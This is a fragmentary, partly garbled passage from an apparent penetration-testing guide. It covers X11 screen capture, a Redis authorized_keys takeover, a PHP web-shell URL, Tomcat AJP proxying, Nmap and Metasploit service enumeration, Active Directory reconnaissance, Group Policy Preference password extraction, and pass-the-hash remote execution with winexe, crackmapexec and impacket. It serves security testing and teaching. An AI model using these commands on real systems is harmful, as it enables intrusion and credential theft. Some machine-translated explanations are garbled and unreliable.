image byte order: LSBFirst
number of supported pixmap formats: 6
supported pixmap formats:
depth 1, bits_per_pixel 1, scanline_pad 32
depth 4, bits_per_pixel 8, scanline_pad 32
depth 8, bits_per_pixel 8, scanline_pad 32
depth 15, bits_per_pixel 16, scanline_pad 32
depth 16, bits_per_pixel 16, scanline_pad 32
depth 24, bits_per_pixel 32, scanline_pad 32
keycode range: minimum 8, maximum 255
focus: window 0x600005, revert to Parent
number of extensions: 11
FontCache
MIT-SCREEN-SAVER
MIT-SHM
(continues on next page)
xwd
xwininfo
live viewing:
First we need to find the ID of the window using xwininfo
Absolute upper-left X: 0
Absolute upper-left Y: 0
Relative upper-left X: 0
Relative upper-left Y: 0
Width: 1024
Height: 768
Depth: 16
Visual: 0x21
Visual Class: TrueColor
Border width: 0
Class: InputOutput
Colormap: 0x20 (installed)
Bit Gravity State: ForgetGravity
Window Gravity State: NorthWestGravity
Backing Store State: NotUseful
Save Under State: no
Map State: IsViewable
Override Redirect State: no
Corners: +0+0 -0+0 -0-0 +0-0
-geometry 1024x768+0+0
XWatchwin
Nmap
Metasploit
Other
The below is taken from tfairane redis where he has presented a write up for a Vulnhub machine
• First, the web server on the server broadcasts, including a simple PHP code and create a back door, which will
help us to execute commands on the server. Or it will enable us to take direct shell weevely, webacoo to upload
the files we create with tools like.
http://IP/shell.php?cmd=whoami
www-data
• Second, file type found in the users home directory because it is our right and remote SSH access with a key
instead of using the password used to connect to create key, they may be directly unencrypted user rights that
provide access to the system.
1: ssh-keygen -t rsa
2:
3: (echo -e "\n"; cat id_rsa.pub; echo -e "\n") > auth_key
4:
5: cat auth_key | redis-cli -h hostname -x set crackit
6: redis-cli -h hostname
7:
8: config set dir /root/.ssh/
9: config get dir
10: config set dbfilename "authorized_keys"
11: save
12:
13: config set dir /home/user/.ssh/
14: save
15:
16: config set dir /home/admin/.ssh/
17:
18: ssh user@kevgir -p 1322 -i id_rsa
• 1 - He has given parameters in line with a 2048-bit RSA key pair is generated. We can give it a
password when we log in.
• 3 - The public key of his own and to receive the new line last line auth_key name we are writing a
new file. We will upload this file to the target machine via the Redis server.
• 5 and 6. data from the key input in the standard line that we say we do, and then take the memory
contents auth_key entry Redis server.
• 8, 9, 10, 11 in which the location of the file content to be installed in the line number, which is stated
to be added to the bottom of the file. SAVE transactions made by the commands are processed on
the server side to make it happen.
• 13 and 16 lines in the root of the same process that we have done for other users in order to gain
access with the privileges they also inside the ssh folder in the main folder authorized_keys are doing
the same procedure for writing to file.
The Tomcat manager interface is usually accessed on the Tomcat HTTP(S) port. but we often do forget that we can
also access that manager interface on port 8009 that by default handles the AJP (Apache JServ Protocol) protocol.
Note: AJP is a wire protocol. Its an optimized version of the HTTP protocol to allow a standalone web server such as
Apache to talk to Tomcat. Historically, Apache has been much faster than Tomcat at serving static content. The idea
is to let Apache serve the static content when possible, but proxy the request to Tomcat for Tomcat related contents.
Sometimes we do encounter situation where port:8009 is open and the rest port 8080,8180,8443 or 80 are closed.
in these kind of scenario we can use metasploit framework to exploit the services running. Here, we can configure
Apache to proxy the requests to Tomcat port 8009. details for doing so is given in the reference. Below is an overview
of the commands (apache must already be installed) as mentioned in 8009 The Forgotten Tomcat Port.
sudo apt-get install libapach2-mod-jk
sudo vim /etc/apache2/mods-available/jk.conf
# Where to find workers.properties
# Update this path to match your conf directory location
JkWorkersFile /etc/apache2/jk_workers.properties
# Where to put jk logs
# Update this path to match your logs directory location
JkLogFile /var/log/apache2/mod_jk.log
# Set the jk log level [debug/error/info]
JkLogLevel info
# Select the log format
JkLogStampFormat "[%a %b %d %H:%M:%S %Y]"
# JkOptions indicate to send SSL KEY SIZE,
JkOptions +ForwardKeySize +ForwardURICompat -ForwardDirectories
# JkRequestLogFormat set the request format
JkRequestLogFormat "%w %V %T"
# Shm log file
JkShmFile /var/log/apache2/jk-runtime-status
sudo ln -s /etc/apache2/mods-available/jk.conf /etc/apache2/mods-enabled/jk.conf
sudo vim /etc/apache2/jk_workers.properties
# Define 1 real worker named ajp13
worker.list=ajp13
# Set properties for worker named ajp13 to use ajp13 protocol,
# and run on port 8009
worker.ajp13.type=ajp13
worker.ajp13.host=localhost
worker.ajp13.port=8009
worker.ajp13.lbfactor=50
worker.ajp13.cachesize=10
worker.ajp13.cache_timeout=600
worker.ajp13.socket_keepalive=1
worker.ajp13.socket_timeout=300
sudo vim /etc/apache2/sites-enabled/000-default
JkMount /* ajp13
JkMount /manager/ ajp13
JkMount /manager/* ajp13
JkMount /host-manager/ ajp13
JkMount /host-manager/* ajp13
sudo a2enmod proxy_ajp
sudo a2enmod proxy_http
sudo /etc/init.d/apache2 restart
here we have to set the worker.ajp13.host to the correct host and we can just point out the metapsloit tomcat exploit to
• References:
• Connectors
• AJPv13
• Configure modjk with apache
Metasploit
Scans for printer version information using the Printer Job Language (PJL) protocol.
use auxiliary/scanner/printer/printer_version_info
Sample Output:
Nmap
PJL-ready-message
PJL-ready-message : It retrieves or sets the ready message on printers that support the Printer Job Language. This
includes most PostScript printers that listen on port 9100. Without an argument, displays the current ready message.
With the pjl_ready_message script argument, displays the old ready message and changes it to the message given.
Sample Output:
NMap
Cassandra-info
cassandra-info.nse which attempts to get basic info and server status from a Cassandra database.
Sample Output:
Cassandra-brute
cassandra-brute which performs brute force password auditing against the Cassandra database.
Sample Output:
Nmap
ndmp-fs-info
Sample Output:
| ndmp-fs-info:
| FS Logical device Physical device
| NTFS C: Device0000
| NTFS D: Device0000
| NTFS E: Device0000
| RMAN Oracle-Win::\\TRDPLM\WIND Device0000
| UNKNOWN Shadow Copy Components Device0000
|_UNKNOWN System State Device0000
ndmp-version
ndmp-version : Retrieves version information from the remote Network Data Management Protocol (ndmp) service.
NDMP is a protocol intended to transport data between a NAS device and the backup device, removing the need for
the data to pass through the backup server. This nse although is not outputing the version correctly, however if we
switch to –script-trace we do find the versions
00000010: 00 00 01 08 00 00 00 02 00 00 00 00 00 00 00 00
00000020: 00 00 00 17 56 45 52 49 54 41 53 20 53 6f 66 74 VERITAS Soft
00000030: 77 61 72 65 2c 20 43 6f 72 70 2e 00 00 00 00 13 ware, Corp.
00000040: 52 65 6d 6f 74 65 20 41 67 65 6e 74 20 66 6f 72 Remote Agent for
(continues on next page)
Memcached is a free & open source, high-performance, distributed memory object caching system.
Nmap
memcached-info
memcached-info : Retrieves information (including system architecture, process ID, and server time) from distributed
memory object caching system memcached.
Sample Output:
Other
Sensepost has written a tool go-derper and a article here blackhat-write-up-go-derper-and-mining-memcaches Black-
hat slides Lifting the Fog
Metasploit
Module attempts to brute force authentication credentials for MongoDB. Note that, by default, MongoDB does
not require authentication. This can be used to check if there is no-authentication on the MongoDB by setting
blank_passwords to true. This can also be checked using the Nmap nse mongodb-brute
use auxiliary/scanner/mongodb/mongodb_login
Sample Output:
[*] Scanning IP: 10.169.xx.xx
[+] Mongo server 10.169.xx.xx dosn't use authentication
Nmap
Mongodb-info
˓→memcmp
| versionArray
| 1 = 6
| 2 = 9
| 3 = 0
| 0 = 2
(continues on next page)
Mongodb-database
Mongodb-BruteForce
Other
Connection String
mongodb://[username:password@]host[:port][/[database][?options]]
˓→instance.
˓→database is not specified and the connection string includes credentials, the
Mongo-shell
::
db.system.users.find()
{ "_id" : "test.root", "user" : "root", "db" : "test", "credentials" : { "MONGODB-CR
˓→" : "d6zzzdb4538zzz339acd585fa9zzzzzz" }, "roles" : [ { "role" : "dbOwner", "db"
˓→: "test" } ] }
It is important that to have a look at the Mongo Shell Methods There are methods such as collection, cursor etc. In
Collection, there are
• db.collection.deleteOne() Deletes a single document in a collection.
• cursor.toArray() Returns an array that contains all documents returned by the cursor.
• and others
If we found TCP Port 44818, probably it’s running Ethernet/IP. Rockwell Automation/ Allen Bradley developed the
protocol and is the primary maker of these devices, e.g. ControlLogix and MicroLogix, but it is an open standard and
a number of vendors offer an EtherNet/IP interface card or solution.
Redpoint has released a NSE for enumeration of these devices
Nmap
enip-enumerate
If we found UDP Port 47808 open, we can use BACnet-discover-enumerate NSE created by Redpoint Should read
Discover Enumerate bacnet devices
BACNet-discover-enumerate
Others
2.3 Exploitation
After vulnerability analysis probably, we would have compromised a machine to have domain user credentials or
administrative credentials. This blog presents information about
• Active Directory Reconnaissance with Domain User rights. Once, we have access to credentials of a domain
user of windows domain, we can utilize the credentials to do windows active directory enumeration such
as figuring out the domain controllers, users, machines, trust etc. This post looks into the various methods
which are available to do the enumeration such as rpclient, enum4linux, nltest, netdom, powerview, bloodhound,
adexplorer, Jexplorer, Remote Server Administration Tools, Microsoft Active Directory Topology Diagrammer,
reconnaissance using powershell etc.
• Remote Code Execution Methods : Once we have administrative credentials there are multiple ways to get
a execute remote commands on the remote machine such winexe, crackmapexec, impacket psexec, smbexec,
wmiexec, Metasploit psexec, Sysinternals psexec, task scheduler, scheduled tasks, service controller (sc), remote
registry, WinRM, WMI, DCOM, Mimikatz Pass the hash/ Pass the ticket, remote desktop etc. We have a look
over all the methods with possible examples.
• Useful Stuff : Also, we would have a quick look how to add/ remove/ a local/ domain user, add/ remove a local
user to administrator group, accessing remote windows machines from windows/ linux.
• Appendix-I : Interesting Stories : Presented the links of interesting blogs which might be helpful in exploitation
such as blogs targeting Domain Administrator, etc.
Did we miss something? Please send us a pull request and we will add it.
rpclient
eskoudis presents great amount of information at Plundering Windows Account Infor via Authenticated SMB Ses-
sion. carnal0wnage have written Enumerating user accounts on linux and OSX and BlackHills have written Password
Spraying and Other Fun with RPC Client Most of the stuff has been taken from the above three.
The below commands tell how to figure out
Connection
Enum commands
Current domain
enumdomains
name:[xxxx] idx:[0x0]
name:[Builtin] idx:[0x0]
Local Users
lsaenumsid
S-1-5-21-1971769256-327852233-3012798916-1014 Example\ftp_user (1)
S-1-5-21-1971769256-327852233-3012798916-1000 Example\example_user (1)
lookupsid S-1-5-21-1971769256-327852233-3012798916-1014
S-1-5-21-1971769256-327852233-3012798916-1014 Example\ftp_user (1)
As Mubix explained in Reset AD User Password with Linux. Often we have the credentials of limited administrative
accounts such as IT or helpdesk. Sometimes, These accounts have an ability reset the password. This can be achieved
in by using rpcclient in linux box provided smbclient and pass-the-hash package should be installed.
setuserinfo2 command can be used in order to change the password.
Note: we won’t be able to change the password of users with AdminCount = 1 (Domain Admins and other higher
privileged accounts).
This can be done using the net command as well but we need to install the samba-common-bin in our machine.
Enum4linux
Simple wrapper around the tools in the samba package to provide similar functionality to enum.exe (formerly from
www.bindview.com).
Usage
Additional options:
-a Do all simple enumeration (-U -S -G -P -r -o -n -i).
This option is enabled if you don't provide any other options.
-h Display this help message and exit
-r enumerate users via RID cycling
-R range RID ranges to enumerate (default: 500-550,1000-1050, implies -r)
-K n Keep searching RIDs until n consecutive RIDs don't correspond to a
˓→username. Implies RID range ends at 999999. Useful against DCs.
-l Get some (limited) info via LDAP 389/TCP (for DCs only)
-s file brute force guessing for share names
-k user User(s) that exists on remote system (default: administrator,guest,
˓→krbtgt,domain admins,root,bin,none)
Example
As per the TechNet article Active Directory Explorer (AD Explorer) is an advanced Active Directory (AD) viewer and
editor. We can use AD Explorer to easily navigate an AD database, define favorite locations, view object properties and
attributes without having to open dialog boxes, edit permissions, view an object’s schema, and execute sophisticated
searches that you can save and re-execute.
Sally Vandeven has written a brilliant article on Domain Goodness – How I Learned to LOVE AD Explorer Must read!
JXplorer
JXplorer is a cross platform LDAP browser and editor. It is a standards compliant general purpose LDAP client that
can be used to search, read and edit any standard LDAP directory, or any directory service with an LDAP or DSML
interface.
Active Directory Domain Services (AD DS) Tools and Active Directory Lightweight Directory Services (AD LDS)
Tools includes Active Directory Administrative Center; Active Directory Domains and Trusts; Active Directory Sites
and Services; Active Directory Users and Computers; ADSI Edit; DCPromo.exe; LDP.exe; NetDom.exe; NTDSU-
til.exe; RepAdmin.exe; Active Directory module for Windows PowerShell; DCDiag.exe; DSACLs.exe; DSAdd.exe;
DSDBUtil.exe; DSMgmt.exe; DSMod.exe; DSMove.exe; DSQuery.exe; DSRm.exe; GPFixup.exe; KSetup.exe; Kt-
Pass.exe; NlTest.exe; NSLookup.exe; W32tm.exe.
Active Directory Administrative Center; Active Directory Domains and Trusts; Active Directory Sites and Services;
Active Directory Users and Computers; ADSI Edit; are GUI tools. These can be installed by installing Remote Server
Administration Tools
nltest
Nltest is a command-line tool to perform network administrative tasks. We could figure out the Domain Controllers/
Domain Trusts using it. It is built into Windows Server 2008 and Windows Server 2008 R2. It is available if you have
the AD DS or the AD LDS server role installed. It is also available if you install the Active Directory Domain Services
Tools that are part of the Remote Server Administration Tools (RSAT).
Usage
nltest /?
Usage: nltest [/OPTIONS]
Examples
nltest /dclist:xxx.example.net
Get list of DCs in domain 'xxx.example.net' from '\\ABCDEFG.xxx.example.net'.
ABCDEFG1.xxx.example.net [DS] Site: XX-SriLanka
ABCDEFG2.xxx.example.net [DS] Site: XX-India
ABCDEFG5.xxx.example.net [PDC] [DS] Site: XX-Bangladesh
The command completed successfully
nltest /user:"TestAdmin"
User: User1
Rid: 0x3eb
Version: 0x10002
LastLogon: 2ee61c9a 01c0e947 = 5/30/2001 13:29:10
PasswordLastSet: 9dad5428 01c0e577 = 5/25/2001 17:05:47
AccountExpires: ffffffff 7fffffff = 9/13/30828 19:48:05
PrimaryGroupId: 0x201
UserAccountControl: 0x210
CountryCode: 0x0
CodePage: 0x0
BadPasswordCount: 0x0
LogonCount: 0x33
AdminCount: 0x1
SecurityDescriptor: 80140001 0000009c 000000ac 00000014 00000044 00300002 000000
02 0014c002 01050045 00000101 01000000 00000000 0014c002 000f07ff 00000101 05000
000 00000007 00580012 00000003 00240000 00020044 00000501 05000000 00000015 22cd
b7b4 7112b3f1 2b3be507 000003eb 00180000 000f07ff 00000201 05000000 00000020 000
00220 00140000 0002035b 00000101 01000000 00000000 00000201 05000000 00000020 00
000220 00000201 05000000 00000020 00000220
AccountName: User1
Groups: 00000201 00000007
LmOwfPassword: fb890c9c 5c7e7e09 ee58593b d959c681
NtOwfPassword: d82759cc 81a342ac df600c37 4e58a478
NtPasswordHistory: 00011001
(continues on next page)
nltest /dcname:fourthcoffee
PDC for Domain fourthcoffee is \\fourthcoffee-dc-01
The command completed successfully
Returns a list of trusted domains. /Primary /Forest /Direct_Out /Direct_In /All_Trusts /v.
The following list shows the values that you can use to filter the list of domains.
• /Primary: Returns only the domain to which the computer account belongs.
• /Forest: Returns only those domains that are in the same forest as the primary domain.
• /Direct_Out: Returns only the domains that are explicitly trusted with the primary domain.
• /Direct_In: Returns only the domains that explicitly trust the primary domain.
• /All_Trusts: Returns all trusted domains.
• /v: Displays verbose output, including any domain SIDs and GUIDs that are available.
nltest /domain_trusts
netdom
netdom: netdom is a command-line tool that is built into Windows Server 2008 and Windows Server 2008 R2. It is
available if you have the Active Directory Domain Services (AD DS) server role installed. It is also available if you
install the Active Directory Domain Services Tools that are part of the Remote Server Administration Tools (RSAT).
More information available at Netdom query.
Usage
PDC : Queries the domain for the current primary domain controller.
FSMO : Queries the domain for the current list of operations master role holders.
˓→These role holders are also known as flexible single master operations (FSMO).
Examples
DC
xxxxDC12
xxxxDC11
xxxxDC04
xxxxDC03
The command completed successfully.
PDC
xxxxDC03.example.net
The command completed successfully.
FSMO
Queries the domain for the current list of operations master role holders.
PS C:\> netdom query /domain example.net FSMO
Schema master xxxxDC03.example.net
Domain naming master xxxxDC03.example.net
PDC xxxxDC03.example.net
RID pool manager xxxxDC03.example.net
Infrastructure master xxxxDC03.example.net
The command completed successfully.
TRUST
OU
Queries the domain for the list of OUs under which the user that you specify can create a computer object.
OU=Domain Controllers,DC=abc,DC=example,DC=net
OU=ABC-Admin,DC=abc,DC=example,DC=net
OU=ServiceAccounts,OU=ABC-Admin,DC=abc,DC=example,DC=net
OU=Users,OU=ABC-Admin,DC=abc,DC=example,DC=net
OU=Groups,OU=ABC-Admin,DC=abc,DC=example,DC=net
OU=Service Accounts,DC=abc,DC=example,DC=net
OU=Servers,OU=ABC-Admin,DC=abc,DC=example,DC=net
DC=abc,DC=example,DC=net
The command completed successfully.
SERVER/ WORKSTATION
PS C:\>
The Microsoft Active Directory Topology Diagrammer reads an Active Directory configuration using LDAP, and
then automatically generates a Visio diagram of your Active Directory and /or your Exchange Server topology. The
diagrams may include domains, sites, servers, organizational units, DFS-R, administrative groups, routing groups and
connectors and can be changed manually in Visio if needed.
Sean Metcalf has written an awesome blog regarding the Active Directory Recon without Admin Rights Most of the
below stuff has been directly taken from his blog.
The enumeration of the active directory can also be carried forward using the normal domain user account. After
gathering the domain user credentials launch the powershell by the following command on the command prompt.
Forest Information
The current forest information can be gathered by using the following powershell code
PS C:\> [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()
Name : ABC.com
Sites : {Default-First-Site-Name}
Domains : {ABC.com}
GlobalCatalogs : {WIN-OK0HIC2UCIH.ABC.com}
ApplicationPartitions : {DC=DomainDnsZones,DC=ABC,DC=com, DC=ForestDnsZones,DC=
ABC,DC=com}
ForestMode : Windows2008R2Forest
RootDomain : ABC.com
Schema : CN=Schema,CN=Configuration,DC=ABC,DC=com
SchemaRoleOwner : WIN-OK0HIC2UCIH.ABC.com
NamingRoleOwner : WIN-OK0HIC2UCIH.ABC.com
Domain Information
The current domain information to which the domain user is a part can be easily gathered by issuing the following
powershell code
PS C:\> [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
Forest : ABC.com
DomainControllers : {WIN-OK0HIC2UCIH.ABC.com}
Children : {}
DomainMode : Windows2008R2Domain
Parent :
PdcRoleOwner : WIN-OK0HIC2UCIH.ABC.com
RidRoleOwner : WIN-OK0HIC2UCIH.ABC.com
InfrastructureRoleOwner : WIN-OK0HIC2UCIH.ABC.com
Name : ABC.com
Forest Trusts
The trust between the present forests can be obtained by the following powershell code
$ForestRootDomain = ‘lab.adsecurity.org’
([System.DirectoryServices.ActiveDirectory.Forest]::GetForest((New-Object System.
˓→DirectoryServices.ActiveDirectory.DirectoryContext(‘Forest’, $ForestRootDomain)))).
˓→GetAllTrustRelationships()
Domain Trusts
The trusts relationship between the current domain and associated domain can be enumerated by the following
PS C:\> ([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).
˓→GetAllTrustRelationships()
By gathering this information, An attacker can determine the attack surface area by residing in current domain.
PS C:\> [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest().
˓→GlobalCatalogs
The services offered by the particular can also be identified using a simple powershell code. This type of information
gathering is a stealthy approach as the service scanning of network may sometimes trigger the alarm. This type of
approach is carried out by scanning the SPN (Service Principal Names). The information related to RDP enabled
workstations, WinRM Enabled, Exchange servers, SQL servers etc. can be enumerated.
PasswordLastSet,LastLogonDate,ServicePrincipalName,TrustedForDelegation,
˓→TrustedtoAuthForDelegation
Note: Both the computers and users (Service accounts) are to be targeted in order to determine the Enterprise services.
SPN-Scanning
Microsoft states that “A service principal name (SPN) is the name by which a client uniquely identifies an instance of
a service.” using the SPN scanning we identify the common servers such as IIS, SQL Server, and LDAP. Mostly, the
convention of the SPN is formatted as SERVICE/HOST but sometimes the port no. associated is also given such as
SERVICE/HOST:PORT.
DNS/win2008k001.ABC.com MSSQLSvc/win2008k002.ABC.com:1600
The above example shows that if the Domain Account is used to run the DNS and SQL services on ABC.com the SPN
entries would be the same. Here we can use ADFind.exe to list all the SQL server instances registered on a domain by
using the code
C: >Adfind.exe -f "ServicePrincipalName=MSSQLSvc*"
we can also use setspn.exe (comes with the windows server 2008) can be used to lookup the SPNs for a particular user.
C: >setspn.exe -l "UserName"
Scott Sutherland has written about SPN scanning techniques at Faster Domain Esclation using LDAP .The Get-SPN
Powershell module provides us to quickly search LDAP for accounts related to specific groups, users or SPN service
name. Once Downloaded the script run the following command in a command prompt in order to install it for the
current session.
C:\> Powershell -nop -exec bypass -noexit (change the directory pointing towards the
˓→downloaded location)
Find All Servers where Domain Admins are Registered to Run Services. If we are using the Domain User or local
system from a particular Domain computer use the following command
Get-SPN -type group -search "Domain Admins" -List yes | Format-Table -Autosize
for a non domain system with domain credentials we can use the command below
Get-SPN -type group -search "Domain Admins" -List yes -DomainController 192.168.1.
˓→100 -Credential domainuser | Format-Table -Autosize
for identifying the services using the Domain User or localsystem from a particular Domain computer use the following
command
for other than Servers, below is a list of standard SPN service names.
alerter,appmgmt,browser,cifs,cisvc,clipsrv,dcom,dhcp,dmserver,dns,dnscache,eventlog,
˓→eventsystem,fax,
http,ias,iisadmin,messenger,msiserver,mcsvc,netdde,netddedsm,netlogon,netman,nmagent,
˓→oakley,plugplay,policyagent,
protectedstorage,rasman,remoteaccess,replicator,rpc,rpclocator,rpcss,rsvp,samss,
˓→scardsvr,scesrv,schedule,scm,seclogon,
snmp,spooler,tapisrv,time,trksvr,trkwks,ups,w3svc,wins,www
To find All the ServicePrincipalName Entries for Domain Users Matching String by executing the command as domain
user or LocalSystem from a domain computer then you can use the command below.
By Doing an SPN Scan for user accounts with Service Principal Names the service Accounts and the server accounts
used can be identified.
˓→TrustedtoAuthForDelegation
Discovering the Computers and Domain Controllers without scanning the network
The information regarding the computer operating system, DNSHostName, LastLogon Date etc. can also be gathered.
Since every computer joining the active directory has an associated computer account in AD. When the computer
is joined, several attributes such as date created, Modified, OperatingSystemVersion etc. are associated with this
computer object that are updated. Such information can also be further used for lateral movements.
Passwot,LastLogonDate,ServicePrincipalName,TrustedForDelegation,
˓→TrustedtoAuthForDelegation
The same information regarding the Domain Controllers can also be gathered by simply changing the PrimaryGroupID
value to ‘516’. to obtain the details of all the computers in active directory by simply putting a wildcard mask in the
filter parameter such as “-filter * “.
The privileged accounts can be identified using two methods. The first one is by doing a detailed group enumeration,
by doing this all members of the standard Active Directory admin groups: Domain Admins, Administrators, Enterprise
Admins, etc. one such command is “Net Group “Domain Admins” /Domain” which will give us the list of Domain
Administrators.
Another method is by identifying all accounts which have the attribute “AdminCount” set to 1. However, this may not
be sometimes accurate since there may be accounts returned in this query which no longer have admin rights because
these values aren’t automatically reset even if the accounts are disabled or no longer a part of Admins group.
This query will give us the “AdminCount :1” which indicates that the account is privileged account.
Most of the organizations follow a naming convention for the admin groups such as Domain Admins, Server Admins,
Workstation Admins, Administrators etc. By Querying the Active Directory for groups with Admin as term we can
identify the administrator groups.
PS C:\> get-adgroup -filter {GroupCategory -eq ‘Security’ -AND Name -like “*admin*”}
The Domain password policy can be easily gathered either by using Net Accounts or Get-ADDefaultPasswordPolicy.
Get-ADDefaultDomainPasswordPolicy
Net Accounts
Using the Powerview.PS1 module we can easily identify the identify GPOs that include Restricted Groups.
PS C:\> Get-NetGPOGroup
we can also check to what OUs the GPOs link using a PowerView cmdlet.
If we have credentials of the user and a powershell prompt, we can utilize adsiSearcher to do the AD Enumeration
$username = 'BITVIJAYS\LDAP'
$password = 'PasswordForSearch!'
$DomainControllerIpAddress = '10.2.2.2'
$LdapDn = 'DC=bitvjays,DC=local'
When credentials are present and we are connecting using a non-domain machine, use below
$ds = [adsisearcher]""
$ds.SearchRoot
distinguishedName : {DC=bitvijays,DC=local}
Path : LDAP://DC=bitvijays,DC=local
Result
Path Properties
---- ----------
LDAP://10.2.2.2:389/CN=DC,OU=Domain Controllers,DC=bitvijays,DC=local
˓→{ridsetreferences, logoncount, codepage, objec...
LDAP://10.2.2.2:389/CN=FILE,CN=Computers,DC=bitvijays,DC=local {logoncount,
˓→codepage, objectcategory, iscriti...
We can use
$ds.FindOne().properties
$ds.FindAll().properties
to find the properties of the object. Once the properties are found, we can search for any particular object based on
regex.
Examples:
• Finding a particular user named Bob
Check the properties of the user
Properties of a user
PS > $ds.findOne().properties
Name Value
---- -----
objectcategory {CN=Person,CN=Schema,CN=Configuration,
˓→DC=bitvijays,DC=local}
name {Administrator}
cn {Administrator}
admincount {1}
samaccountname {Administrator}
Path
˓→Properties
(continues on next page)
LDAP://10.2.2.2:389/CN=Bobby John,OU=People,DC=bitvijays,DC=local
˓→{logoncount, codepage, objectcategory, descripti...
Powerview Get-NetSession
net session
net session
-----------------------------------------------------------------------------
˓→--
WMI
We can use wmi to get the remote logged on users. However, I believe to run wmi on remote machine, you need to be
administrator of that machine.
\\.\root\cimv2:Win32_Account.Domain="ABCROOT",Name="axx.xxxxx"
\\.\root\cimv2:Win32_Account.Domain="ABCROOT",Name="srv.xxxxx"
\\.\root\cimv2:Win32_Account.Domain="ABCROOT",Name="axx.xxxxx"
\\.\root\cimv2:Win32_Account.Domain="MA",Name="axxd.xxxxx"
\\.\root\cimv2:Win32_Account.Domain="DC",Name="ANONYMOUS LOGON"
Powerview Get-NetUser
WMI
Domain users:
Powerview Get-NetComputers
Password: password@123
Changed : 2013-07-02 01:01:23
Username: Administrator
NewName :
File : \\Demo.lab\sysvol\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}
˓→\MACHINE\Preferences\DataSources\{DataSouces| Groups| ScheduledTasks.xml
To get the computers using the passwords set by the GPP, we can use
Get-NetSite function, which returns the current sites for a domain, also accepts the -GUID filtering flag. This infor-
mation has been taken from harmj0y blog gpp and powerview
More information about GPP should be read from Sean Metcalf blog Using Group Policy Preferences for Password
Management = Bad Idea and Finding Passwords in SYSVOL & Exploiting Group Policy Preferences
There are various methods to figure out the GPP Password if it’s set.
• Get-GPPPassword.ps1 : PowerShell script that can identify and extract the password(s) stored in Group Policy
Preferences using the MSDN AES key.
• Metasploit auxiliary module - SMB Group Policy Preference Saved Passwords Enumeration : This module
enumerates files from target domain controllers and connects to them via SMB. It then looks for Group Policy
Preference XML files containing local/domain user accounts and passwords and decrypts them using Microsoft’s
public AES key. This module has been tested successfully on a Win2k8 R2 Domain Controller. ( Requires
domain user credentials)
use auxiliary/scanner/smb/smb_enum_gpp
set smbdomain example.com
set smbuser user
set smbpass pass
set rhosts 192.168.56.2
Thanks to Tanoy Bose for informing about this!. Previously, we used to manually search the SYSVOL
location! ( When for some reason Get-GPPPassword doesn’t work! )
• Meterpreter session, we can use metasploit post module - Windows Gather Group Policy Preference Saved
Passwords : This module enumerates the victim machine’s domain controller and connects to it via SMB. It
then looks for Group Policy Preference XML files containing local user accounts and passwords and decrypts
them using Microsoft’s public AES key. Cached Group Policy files may be found on end-user devices if the
group policy object is deleted rather than unlinked.
use post/windows/gather/credentials/gpp
set session <Session_Number>
Powerview Get-NetGroupMember
• Global.exe
PS C:\> .\global.exe
group_name The name of the global group to list the members of.
domain_name The name of a network domain.
\\server The name of a network server.
Examples:
Global "Domain Users" EastCoast
Displays the members of the group 'Domain Users' in the EastCoast domain.
Notes:
Names that include space characters must be enclosed in double quotes.
To list members of local groups use Local.Exe.
To get the Server name for a give Domain use GetDC.Exe.
Example:
Powerview Invoke-UserHunter
BloodHound users_sessions
EventLog AD?
A lot of details for Remote Code execution has already been mentioned by Rop Nop in his three parts Part 1: Using
credentials to own windows boxes , Part2: PSExec and Services and Part: 3 Wmi and WinRM and by scriptjunkie in
his blog Authenticated Remote Code Execution Methods in Windows
We have just summarized all in one page with working examples wherever possible.
Winexe
˓→installed.
pth-winexe -U ./Administrator
˓→%aad3b435b51404eeaad3b435b51404ee:4b579a266f697c2xxxxxxxxx //10.145.X.X cmd.exe
If we want to login as NTAuthority, probably use –system. (Helpful when we to run commands as NTAuthority such
as installing ssh server host keys)
crackmapexec
CrackMapExec is quite awesome tool when it comes to remote command execution. Read the wiki
Usage
positional arguments:
target The target IP(s), range(s), CIDR(s), hostname(s), FQDN(s) or
˓→file(s) containing a list of targets
optional arguments:
-h, --help show this help message and exit
-v, --version show program's version number and exit
-t THREADS Set how many concurrent threads to use (default: 100)
-u USERNAME [USERNAME ...] Username(s) or file(s) containing usernames
(continues on next page)
Credential Gathering:
Options for gathering credentials
Mapping/Enumeration:
Options for Mapping/Enumerating
Command Execution:
Options for executing commands
--exec-method {smbexec,wmiexec,atexec}
Method to execute the command. Ignored if in MSSQL mode
˓→(default: wmiexec)
Modules
crackmapexec smb -L
(continues on next page)
˓→permissions
Using a module
Simply specify the module name with the -M flag:
Use the -M flag to specify the module and the –options argument to view the module’s supported options:
Using module options Module options are specified with the -o flag. All options are specified in the form of
Smbmap
smbmap an inbuilt tool in kali linux which gives some awesome results while gathering information related to the
shares associated to with a particular user. As compared to the crackmapexec we can also use smbmap in order to
verify the credentials gathered. This can not only be used to map the shares but can also be used for running remote
commands by specifying the ‘-x’ flag.
smbmap -H 192.168.4.32 -d ABC.com -u Administrat0r -p P@ssw0rd!
[+] Finding open SMB ports....
[+] User SMB session established on 192.168.4.32...
[+] IP: 10.7.3.2:445 Name: dcrs.ABC.com
Disk Permissions
---- -----------
ADMIN$ READ, WRITE
C$ READ, WRITE
IPC$ READ ONLY
NETLOGON READ, WRITE
SYSVOL READ, WRITE
[!] Unable to remove test directory at \\192.168.4.32\SYSVOL\BiZyIseFGv, please
˓→remove manually.
Impacket psexec
Impacket smbexec
C:\Windows\system32>ipconfig
[+] Executing %COMSPEC% /Q /c echo ipconfig ^> \\127.0.0.1\C$\__output 2^>^&1 > %TEMP
˓→%\execute.bat & %COMSPEC% /Q /c %TEMP%\execute.bat & del %TEMP%\execute.bat
Windows IP Configuration
C:\Windows\system32>
Impacket wmiexec
positional arguments:
target [[domain/]username[:password]@]<targetName or address>
command command to execute at the target. If empty it will
launch a semi-interactive shell
authentication:
-hashes LMHASH:NTHASH
NTLM hashes, format is LMHASH:NTHASH
-no-pass don't ask for password (useful for -k)
-k Use Kerberos authentication. Grabs credentials from
(continues on next page)
C:\>whoami
xxxxhbks1739\administrat0r
C:\>
Metasploit psexec
Exploit targets:
Id Name
-- ----
0 Automatic
1 PowerShell
2 Native upload
3 MOF upload
We can see that the exploit was completed however, no session was created. Also the antivirus provided an alert.
Target 1, powershell
meterpreter >
